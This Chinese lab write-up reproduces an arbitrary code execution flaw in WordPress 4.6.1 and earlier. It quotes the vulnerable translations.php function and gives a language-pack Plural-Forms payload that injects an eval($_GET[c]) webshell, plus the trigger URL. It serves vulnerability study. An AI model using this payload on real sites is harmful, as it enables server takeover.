安全-Wordpress 小于等于4.6.1版本任意代码执行漏洞复现(i春秋)
Posted 小狐狸FM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Wordpress 小于等于4.6.1版本任意代码执行漏洞复现(i春秋)相关的知识,希望对你有一定的参考价值。
一、实验环境
环境 | 版本 |
---|---|
操作机 | Windows XP |
目标机 | Windows 2003 Server SP2 |
Wordpress | 小于等于4.6.1 |
目标机账户 | 密码 |
---|---|
administrator | ichunqiu |
二、漏洞复现
[1]. 登录目标机
先登录目标机,分析漏洞产生的原因
账户:
administrator
密码:ichunqiu
[2]. 漏洞函数
函数所在文件的路径:
C:/Apache2.2/htdocs/wordpress1/wp-includes/pomo/translations.php
下方的函数存在漏洞,传入的
$expression
变量没有过滤非法参数,如果使用了存在恶意代码的语言包时,就会执行语言包内的恶意代码
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\\$index = (int)($expression);
return (\\$index < $nplurals)? \\$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
[3]. 语言包
语言包的路径:
C:/Apache2.2/htdocs/wordpress1/wordpress1/wp-content/languages/zh_CN.po
当这个语言包的被调用的时候,
plural
参数的值就会被传入函数的形参$expression
函数变量 | 语言包参数 |
---|---|
$nplurals | nplurals |
$expression | plural |
将语言包的
plural=0
修改为plural=n);}eval($_GET[c]);/*
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[c]);/*\\n"
- 然后
$expression
的值就是n);}eval($_GET[c]);/*
传入函数后的效果如下
代码 | 作用 |
---|---|
n); | 和前面的$expression = str_replace('n','$n', 拼接成一个完成的代码 |
} | 将函数提前闭合,就相当于function xxx(xx,xx) {代码} |
eval($GET[c]); | 一句话木马 |
/* | 将注释符号之后的内容注释掉 |
[4]. 重载语言包
把
zh_CN.po
保存后,使用Poedit
重新打开语言包保存,保存之后服务器才能重载语言包的配置
[5]. RCE恶意代码运行
访问
http://172.16.12.2/wordpress1/index.php?c=phpinfo()
以上是关于安全-Wordpress 小于等于4.6.1版本任意代码执行漏洞复现(i春秋)的主要内容,如果未能解决你的问题,请参考以下文章
安全-EmpireCMS 小于等于7.5版本后台XSS漏洞复现
安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)
安全-ImageMagick 小于等于6.9.3-9版本 命令执行漏洞复现(i春秋)
nginx版本小于等于1.21.5存在0day漏洞,这个漏洞会影响tengine吗?